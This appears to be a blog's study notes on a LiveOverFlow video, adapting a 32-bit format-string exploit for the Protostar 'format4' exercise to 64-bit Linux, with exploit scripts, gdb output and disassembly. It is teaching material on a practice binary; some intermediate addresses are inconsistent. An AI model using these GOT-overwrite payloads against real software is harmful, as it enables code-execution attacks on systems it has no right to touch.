Security_RNRF

0x41. 본문

LiveOverFlow/Binary

0x41.

RNRF 2021. 11. 3. 01:14

41. Adapting the 32bit exploit to 64bit for format4 - bin.0x27

: Let’s have a look at “format4” from exploit-exercises protostar on a current ubuntu machine.
-> And this time I thought instead of building the complete exploit from the ground up, we take the old exploit that we developed for the 32bit linux image, and see if it still works.
-> Probably it won’t but then we debug it and slowly make it work on this 64bit ubuntu.

: Here is the source code again.
: format4 Code(/opt/protostar/bin/format4)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello() # 0xfixed
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1); # external libc function / GOT(exit) ---> libc (-> change the “hello()”) / GOT(= 0xfixed)
}

int main(int argc, char **argv)
{
  vuln();
}
-> We have a 512 byte large buffer on the stack, which is used to read data from standard input.
-> But it only reads up to 512 bytes, so there is no buffer overflow.
-> But then this buffer is passed directly to “printf”, so we have a format string exploit.
: Our goal is it to redirect code execution to the “hello()” function.
-> Notice how here after the “printf()” we find an “exit()”?
-> Well that was intentionally placed here because exit is part of “libc”, so there will be a global offset table entry for it which we can overwrite.
-> Then when we call “exit()” here, our overwritten function would be executed instead.
-> So it’s actually a pretty straight forward format string exploit.
-> Just write to the “exit()” “GOT” entry the address of hello and you are done.
-> “Hello()” and the “GOT” table have fixed addresses and are not affected by “ASLR”.
-> At least on this ubuntu version because of the default compiler options.
: I received several comments that wrote that on their system they default to “PIE”.
-> So there the “GOT” address and the functions will be affected by “ASLR” and then I don’t think these simple cases are exploitable anymore.
-> We would require a little bit more complex examples, with more interactions, where we first can leak values to defeat “aslr”.
-> But we will slowly get there, over time.
-> Let’s not rush too quickly into those topics.

: we compile this now on our ubuntu machine and we get the old exploit code.
-> vim format4.c
-> gcc format4.c -o format4 -no-pie
-> Man this was episode “0x13”…
-> We still haven’t reached “ROP” and “ASLR”.
-> Let’s copy that python code.
-> vim format4.py
import struct

HELLO = 0x80484b4
EXIT_PLT = 0x8049724

def pad(s):
return s+”X”*(512-len(s))

exploit = “”
exploit += struct.pack(”I”,EXIT_PLT)
exploit += struct.pack(”I”,EXIT_PLT+2)
exploit += “BBBBCCCC”
exploit += ”%4$33956x”
exploit += “%4$n”
exploit += “%5$33616x”
exploit += “%5$n”

print pad(exploit)
-> python format4.py
$�&�BBBBCCCC%4$33956x%4$n%5$33616x%5$nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-> Looks good. Now I write it into a file “exp” and then we can start “gdb” with “format4” and execute it.
-> python format4.py > exp
-> cat exp
$�&�BBBBCCCC%4$33956x%4$n%5$33616x%5$nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-> Run and then we pipe in the exp file as input to the program.
-> gdb format4
r < exp
Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x1f 
RBX: 0x7fffffffd750 --> 0xffffe240 
RCX: 0x0 
RDX: 0x7ffff7a3d72c (<printf_positional+2220>: mov    rsi,QWORD PTR [r15+0x38])
RSI: 0x7ffff7b91760 --> 0x0 
RDI: 0x0 
RBP: 0x7fffffffdba0 --> 0x7fffffffe150 --> 0x7fffffffe450 --> 0x7fffffffe470 --> 0x4006e0 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffff4d70 --> 0x0 
RIP: 0x7ffff7a3ec8b (<printf_positional+7691>: mov    DWORD PTR [rax],r14d)
R8 : 0x0 
R9 : 0x6e ('n')
R10: 0x0 
R11: 0x1f 
R12: 0x0 
R13: 0x0 
R14: 0x84b4 
R15: 0x7fffffffd388 --> 0xffffffff
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7a3ec7e <printf_positional+7678>: jmp    0x7ffff7a3e8e1 <printf_positional+6753>
   0x7ffff7a3ec83 <printf_positional+7683>: test   ecx,ecx
   0x7ffff7a3ec85 <printf_positional+7685>: jne    0x7ffff7a3ed90 <printf_positional+7952>
=> 0x7ffff7a3ec8b <printf_positional+7691>: mov    DWORD PTR [rax],r14d
   0x7ffff7a3ec8e <printf_positional+7694>: jmp    0x7ffff7a3d4b3 <printf_positional+1587>
   0x7ffff7a3ec93 <printf_positional+7699>: movsxd rdx,eax
   0x7ffff7a3ec96 <printf_positional+7702>: test   ecx,ecx
   0x7ffff7a3ec98 <printf_positional+7704>: movsx  rax,ax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffff4d70 --> 0x0 
0008| 0x7fffffff4d78 --> 0x0 
0016| 0x7fffffff4d80 --> 0x0 
0024| 0x7fffffff4d88 --> 0x0 
0032| 0x7fffffff4d90 --> 0x0 
0040| 0x7fffffff4d98 --> 0x0 
0048| 0x7fffffff4da0 --> 0x0 
0056| 0x7fffffff4da8 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV # segfault
0x00007ffff7a3ec8b in printf_positional (s=s@entry=0x7ffff7dd0760 <_IO_2_1_stdout_>, 
    format=format@entry=0x7fffffffe240 "$\227\004\b&\227\004\bBBBBCCCC%4$33956x%4$n%5$33616x%5$n", 'X' <repeats 158 times>..., readonly_format=readonly_format@entry=0x0, ap=ap@entry=0x7fffffffe160, ap_savep=ap_savep@entry=0x7fffffffdd08, 
    done=0x84b4, done@entry=0x10, nspecs_done=0x1, lead_str_end=<optimized out>, work_buffer=<optimized out>, 
    save_errno=<optimized out>, grouping=<optimized out>, thousands_sep=<optimized out>) at vfprintf.c:2022
2022 vfprintf.c: 그런 파일이나 디렉터리가 없습니다.
-> We print a lot of character, that looks good but we get a segfault.
-> We are attempting to write the value in “r15”, “0x84b4” to the address in “rax”. # “r15”??? -> “r14” (3:01) &(3:08) & (3:11)
-> And rax is obviously wrong.
-> “0x58” is “X”.
-> So this is the “%n” part of the exploit.
-> “0x84b4” is the amount of characters already printed, that’s all this empty space here, and it tried to write to the 4th value, and that turned out to be not the address anymore.
: So two things.
-> First of all obviously the amount of characters that we are writing with “%n” are wrong, we don’t even know yet what we want to write.
-> And most importantly, we are not writing to the address we have specified in the exploit. # (3:36)
-> Now with the format string offset we hit our padding. # (3:41)
: Let’s use this opportunity and get the correct addresses first.
(3:49) -> disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000400661 <+0>: push   rbp
   0x0000000000400662 <+1>: mov    rbp,rsp
   0x0000000000400665 <+4>: sub    rsp,0x210
   0x000000000040066c <+11>: mov    rax,QWORD PTR fs:0x28
   0x0000000000400675 <+20>: mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400679 <+24>: xor    eax,eax
   0x000000000040067b <+26>: mov    rdx,QWORD PTR [rip+0x2009ce]        # 0x601050 <stdin@@GLIBC_2.2.5>
   0x0000000000400682 <+33>: lea    rax,[rbp-0x210]
   0x0000000000400689 <+40>: mov    esi,0x200
   0x000000000040068e <+45>: mov    rdi,rax
   0x0000000000400691 <+48>: call   0x400540 <fgets@plt>
   0x0000000000400696 <+53>: lea    rax,[rbp-0x210]
   0x000000000040069d <+60>: mov    rdi,rax
   0x00000000004006a0 <+63>: mov    eax,0x0
   0x00000000004006a5 <+68>: call   0x400530 <printf@plt>
   0x00000000004006aa <+73>: mov    edi,0x1
   0x00000000004006af <+78>: call   0x400550 <exit@plt> # exit(1);
End of assembler dump.
-> We need the address of the “exit()” “GOT” entry, we do this by looking where it is called.
-> Then we simply disassemble the few instructions that jump to the “GOT” entry, that’s the “PLT” the procedure linkage table.
-> x/3i 0x400550
0x400550 <exit@plt>: jmp    QWORD PTR [rip+0x200ae2]        # 0x601038 # PLT
0x400556 <exit@plt+6>: push   0x4
0x40055b <exit@plt+11>: jmp    0x400500
-> And here it references the exit GOT entry.
-> x/gx 0x601038
0x601038: 0x0000000000400556 # jump target & hello  # normal “GOT”
-> You can see it will jump to whatever address is written there, so we have to overwrite this with the address of “hello()”.
-> p hello
$1 = {<text variable, no debug info>} 0x400647 <hello> # what we want
-> And here is the address of “hello()”.
-> You can see again that only the last 2 bytes of the current “exit()” “GOT” entry and our desired “hello()” address are different. # 0556 & 0647
-> Which means we only have to overwrite those last 2 bytes.
: Let’s place these 2 new addresses in our exploit code and we can also throw away the old format modifiers.
-> The amount of characters we print is wrong and the offset doesn’t match anymore and instead we just add a bunch of “%p”, to find our new stack offset.
-> vim format4.py
import struct

HELLO = 0x400676
EXIT_PLT = 0x601040

def pad(s):
    return s+"X"*(512-len(s))

exploit = ""
exploit += struct.pack("I",EXIT_PLT)
exploit += struct.pack("I",EXIT_PLT+2)
exploit += "BBBBCCCC"
exploit += " %p "*16

print pad(exploit)
-> python format4.py
@`B`BBBBCCCC %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-> python format4.py > exp
-> So we write it again to a file, start “gdb” and pipe the file in as input.
-> gdb format4
-> r < exp
Starting program: /home/rnrf/format4 < exp
@`[Inferior 1 (process 2211) exited with code 01]
Warning: not running
-> Ehm… no real output? Just like an “@” and backtick?
-> Where are the addresses we leak with “%p”?
: These are the small things that can be really frustrating and this actually happened to me when I was preparing this episode.
-> I was going crazy trying to understand what the heck is happening.
-> python format4.py | ./format4
@`
-> python format4.py | ./format4
@`
-> python format4.py | ./format4
@`
-> python format4.py | ./format4
@`
-> python format4.py | ./format4
@`
-> python format4.py | ./format4
@`
-> I’m just executing it over and over again, hoping the computer would do something else.
: I’m debugging it to break before the “printf” and see that my input is passed to “printf”.
-> gdb format4
-> disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000400661 <+0>: push   rbp
   0x0000000000400662 <+1>: mov    rbp,rsp
   0x0000000000400665 <+4>: sub    rsp,0x210
   0x000000000040066c <+11>: mov    rax,QWORD PTR fs:0x28
   0x0000000000400675 <+20>: mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400679 <+24>: xor    eax,eax
   0x000000000040067b <+26>: mov    rdx,QWORD PTR [rip+0x2009ce]        # 0x601050 <stdin@@GLIBC_2.2.5>
   0x0000000000400682 <+33>: lea    rax,[rbp-0x210]
   0x0000000000400689 <+40>: mov    esi,0x200
   0x000000000040068e <+45>: mov    rdi,rax
   0x0000000000400691 <+48>: call   0x400540 <fgets@plt>
   0x0000000000400696 <+53>: lea    rax,[rbp-0x210]
   0x000000000040069d <+60>: mov    rdi,rax
   0x00000000004006a0 <+63>: mov    eax,0x0
   0x00000000004006a5 <+68>: call   0x400530 <printf@plt>
   0x00000000004006aa <+73>: mov    edi,0x1
   0x00000000004006af <+78>: call   0x400550 <exit@plt>
End of assembler dump.
-> break *0x00000000004006a5
-> r < exp
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x6022a0 (" %p  %p  %p  %p ", 'X' <repeats 184 times>...)
RDX: 0x7ffff7dd18d0 --> 0x0 
RSI: 0x7fffffffe240 --> 0x60104200601040 
RDI: 0x7fffffffe240 --> 0x60104200601040 
RBP: 0x7fffffffe450 --> 0x7fffffffe470 --> 0x4006e0 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffe240 --> 0x60104200601040 
RIP: 0x4006a5 (<vuln+68>: call   0x400530 <printf@plt>)
R8 : 0x1f 
R9 : 0x7fffffffe280 (" %p  %p  %p  %p ", 'X' <repeats 184 times>...)
R10: 0x6025ff --> 0x0 
R11: 0x7fffffffe41f ('X' <repeats 32 times>)
R12: 0x400560 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffe550 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400696 <vuln+53>: lea    rax,[rbp-0x210]
   0x40069d <vuln+60>: mov    rdi,rax
   0x4006a0 <vuln+63>: mov    eax,0x0
=> 0x4006a5 <vuln+68>: call   0x400530 <printf@plt>
   0x4006aa <vuln+73>: mov    edi,0x1
   0x4006af <vuln+78>: call   0x400550 <exit@plt>
   0x4006b4 <main>: push   rbp
   0x4006b5 <main+1>: mov    rbp,rsp
Guessed arguments:
arg[0]: 0x7fffffffe240 --> 0x60104200601040 
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe240 --> 0x60104200601040 
0008| 0x7fffffffe248 ("BBBBCCCC %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p ", 'X' <repeats 128 times>...)
0016| 0x7fffffffe250 (" %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p ", 'X' <repeats 136 times>...)
0024| 0x7fffffffe258 (" %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p ", 'X' <repeats 144 times>...)
0032| 0x7fffffffe260 (" %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p ", 'X' <repeats 152 times>...)
0040| 0x7fffffffe268 (" %p  %p  %p  %p  %p  %p  %p  %p  %p  %p ", 'X' <repeats 160 times>...)
0048| 0x7fffffffe270 (" %p  %p  %p  %p  %p  %p  %p  %p ", 'X' <repeats 168 times>...)
0056| 0x7fffffffe278 (" %p  %p  %p  %p  %p  %p ", 'X' <repeats 176 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00000000004006a5 in vuln ()
-> But no output. But it will not.
-> If it’s not doing what i want it to do, I made a mistake.
-> I am the problem. I need to calm down, take a step back and try to figure out a way to figure out my stupid mistake.
-> So what exactly is the output we get.
-> I pipe the exploit output into “hexdump” and see that it stops after 3 characters.
-> python format4.py | ./format4 | hexdump -C
00000000  40 10 60                                          |@.`| # 0x601040
00000003
-> And that is our address but cut off.
-> The other address and the format string is missing.
-> python format4.py | hexdump -C
00000000  40 10 60 00 42 10 60 00  42 42 42 42 43 43 43 43  |@.`.B.`.BBBBCCCC|
00000010  20 25 70 20 20 25 70 20  20 25 70 20 20 25 70 20  | %p  %p  %p  %p |
*
00000050  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
*
00000200  0a                                                |.|
00000201
-> But when I then also did the “hexdump” of the exploit I noticed the obvious mistake.
-> The address has a null-byte. And “printf” stops at a null-byte.
-> Strings are null-terminated.
(Before) -> vim format4.py
import struct

HELLO = 0x80484b4
EXIT_PLT = 0x8049724 # 4 bytes & no null-byte

def pad(s):
return s+”X”*(512-len(s))

exploit = “”
exploit += struct.pack(”I”,EXIT_PLT)
exploit += struct.pack(”I”,EXIT_PLT+2)
exploit += “BBBBCCCC”
exploit += ”%4$33956x”
exploit += “%4$n”
exploit += “%5$33616x”
exploit += “%5$n”

print pad(exploit)
-> This was not an issue for the 32bit exploit, because there our address had also 4 bytes and thus no null-byte.
: Now on 64bit the default address is only 3 bytes.
(After) -> vim format4.py
import struct

HELLO = 0x400676
EXIT_PLT = 0x601040 # 3 bytes

def pad(s):
    return s+"X"*(512-len(s))

exploit = ""
exploit += struct.pack("I",EXIT_PLT)
exploit += struct.pack("I",EXIT_PLT+2)
exploit += "BBBBCCCC"
exploit += " %p "*16

print pad(exploit)
-> So our next step is, we move the address at the end of our exploit.
-> vim format4.py
import struct

HELLO = 0x400676
EXIT_PLT = 0x601040

def pad(s):
    return s+"X"*(512-len(s)-16)

exploit = "" # “printf” must at least reach format modifiers “%p”
exploit += "BBBBCCCC" # fixed Location - so we can find a fixed offset “%7$p” (7$ = offset)
exploit += " %p "*16
exploit = pad(exploit) # pads to 512 bytes
exploit += struct.pack("I",EXIT_PLT) # 8 +
exploit += struct.pack("I",EXIT_PLT+2) # 8 # but need space for those

print pad(exploit)
-> They still get placed on the stack with the null-bytes.
-> “fgets” will read null-bytes.
-> fgets(buffer, sizeof(buffer), stdin); # read anything including null-bytes!
-> Just the “printf” format vulnerability part must not have a null-byte.
-> When we move it to the end we want it to be in a fixed location, so we add padding to our format string and then make sure we leave enough space for the two addresses at the end.
-> We are on 64bit, so we have 2 times 8 bytes, so we need 16 characters.
-> python format4.py | hexdump -C
00000000  42 42 42 42 43 43 43 43  20 25 70 20 20 25 70 20  |BBBBCCCC %p  %p |
00000010  20 25 70 20 20 25 70 20  20 25 70 20 20 25 70 20  | %p  %p  %p  %p |
*
00000040  20 25 70 20 20 25 70 20  58 58 58 58 58 58 58 58  | %p  %p XXXXXXXX|
00000050  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
*
000001f0  40 10 60 00 42 10 60 00  0a                       |@.`.B.`..|
000001f9
-> Looks good.
-> So we try that intput into “format4”.
-> python format4.py | ./format4
BBBBCCCC 0x7fffa6824130  0x7f7b994ad8d0  0x15012b0  0x1501459  0x7fffa6824180  0x4343434342424242  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x5858585858585858  0x5858585858585858 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX@`
-> Looks good, we print values now.
-> But I can’t find our address.
-> Let’s actually have a lot more “%p”.
-> vim format4.py
import struct

HELLO = 0x400676
EXIT_PLT = 0x601040

def pad(s):
    return s+"X"*(512-len(s)-16)

exploit = ""
exploit += "BBBBCCCC"
exploit += " %p "*100
exploit = pad(exploit)
exploit += struct.pack("I",EXIT_PLT)
exploit += struct.pack("I",EXIT_PLT+2)

print pad(exploit)
-> How about 100, that fits easily in the 512 bytes.
-> python format4.py | ./format4
BBBBCCCC 0x7ffef4a767d0  0x7f7f2f9b28d0  0x19272b0  0x1927459  0x7ffef4a76820  0x4343434342424242  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x60104200601040  0x40000a  0x7f7f2f9c69a0  0x841b92a8c352f900  0x7ffef4a76a00  0x4006cd  0x7ffef4a76ae8  0x100000000  0x4006e0  0x7f7f2f5e6b97  0x1  0x7ffef4a76ae8  0x100008000  0x4006b4  (nil)  0x45903226a2c0f7fc  0x400560  0x7ffef4a76ae0  (nil)  (nil)  0xba6ddbe87b20f7fc  0xbb6e6c1a799ef7fc  0x7ffe00000000  (nil)  (nil)  0x7f7f2f9c6733  0x7f7f2f9ac638  0x6970e  (nil)  (nil)  (nil)  0x400560  0x7ffef4a76ae0 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX@`
-> Ok so where are they. Here they are are?
-> But that doesn’t look good.
-> They should be 2 individual values. But it’s pretty clear what happened.
-> We forgot to also encode the addresses for 64bit.
-> vim format4.py
import struct

HELLO = 0x400676
EXIT_PLT = 0x601040

def pad(s):
    return s+"X"*(512-len(s)-16)

exploit = ""
exploit += "BBBBCCCC"
exploit += " %p "*100
exploit = pad(exploit)
exploit += struct.pack("Q",EXIT_PLT) # I : integer 4 bytes
exploit += struct.pack("Q",EXIT_PLT+2) # Q : unsigned longlong 8 bytes

print pad(exploit)
-> Struct pack I packs the integer in 4 bytes, but we want it packed in 8 bytes.
-> Let’s try it again.
-> python format4.py | ./format4
BBBBCCCC 0x7ffc212319a0  0x7f5fa107e8d0  0x1a7d2a0  0x1f  0x7ffc212319e0  0x4343434342424242  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x2070252020702520  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x5858585858585858  0x601040  0x601042  0x7f5fa10929a0  0x9e0eb33bfcd2ec00  0x7ffc21231bd0  0x4006cd  0x7ffc21231cb8  0x100000000  0x4006e0  0x7f5fa0cb2b97  0x1  0x7ffc21231cb8  0x100008000  0x4006b4  (nil)  0x862fe57ac5e54772  0x400560  0x7ffc21231cb0  (nil)  (nil)  0x79d7a7bcffe54772  0x7890a46c9ebb4772  0x7ffc00000000  (nil)  (nil)  0x7f5fa1092733  0x7f5fa1078638  0x6a1d6  (nil)  (nil)  (nil)  0x400560  0x7ffc21231cb0 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX@`
-> Here they are. This looks good.
: Now let’s find their offset.
-> We can just count how much to the end.
-> And then subtract from 100.
-> vim format4.py
import struct

HELLO = 0x400676
EXIT_PLT = 0x601040

def pad(s):
    return s+"X"*(512-len(s)-16)

exploit = ""
exploit += "BBBBCCCC"
exploit += " %68$p "
exploit = pad(exploit)
exploit += struct.pack("Q",EXIT_PLT)
exploit += struct.pack("Q",EXIT_PLT+2)

print pad(exploit)
-> So at offset 68 we should find the address. # “0x601040” = “%68$p”
-> python format4.py | ./format4
BBBBCCCC 0x601040 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX@`
-> And yes indeed.
-> There it is.
-> So now, we just have to print the correct amount of characters to write the 2 bytes.
-> Actually, we don’t need two writes, we should be able to do that in one.
-> So we add another format string with a padding of the amount of characters we want to write.
-> vim format4.py
import struct

HELLO = 0x400676
EXIT_PLT = 0x601040

def pad(s):
    return s+"X"*(512-len(s)-16)

exploit = ""
exploit += "BBBBCCCC"
exploit += "%{}x".format(0x676-len(exploit))
exploit += "%68$n" # change to “n”
exploit = pad(exploit)
exploit += struct.pack("Q",EXIT_PLT)
exploit += struct.pack("Q",EXIT_PLT+2)

print pad(exploit)
-> That would be “0x676”, minus the characters we already printed before that.
-> So basically “-8”.
-> And then we should also remove the spaces before the %n that would be another printed.
-> So it should work now, right?
-> Let’s change the %p to %n and try it!
-> python format4.py | ./format4
(8:15)
-> Segmentation fault.
-> So when I was recording all of this I really thought it should work right away.
-> But then I got the segmentation fault.
: Why did that happen?
-> When I wrote down “%n”. I realized I wrote a whole integer.
-> But I meant to write only two bytes, so I would have required “%hn”.
-> We should be able to verify this with “gdb”.
-> Let’s check it out.
-> python format4.py > exp
-> gdb format4
-> r < exp
(8:48)
-> Segfault at address “0x676”.
-> We wrote a whole integer, so we overwrote the higher bytes that were already stored in the “GOT”.
-> Let’s change it to “%hn”.
(Success) -> vim format4.py
import struct

HELLO = 0x400647
EXIT_PLT = 0x601038

def pad(s):
    return s+"X"*(512-len(s)-16)

exploit = ""
exploit += "BBBBCCCC"
exploit += "%{}x".format(0x647-len(exploit))
exploit += "%68$hn"
exploit = pad(exploit)
exploit += struct.pack("Q",EXIT_PLT)
exploit += struct.pack("Q",EXIT_PLT+2)

print pad(exploit)
-> To write half a word or whatever that means. It writes 2 bytes.
-> python format4.py | ./format4
BBBBCCCC                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        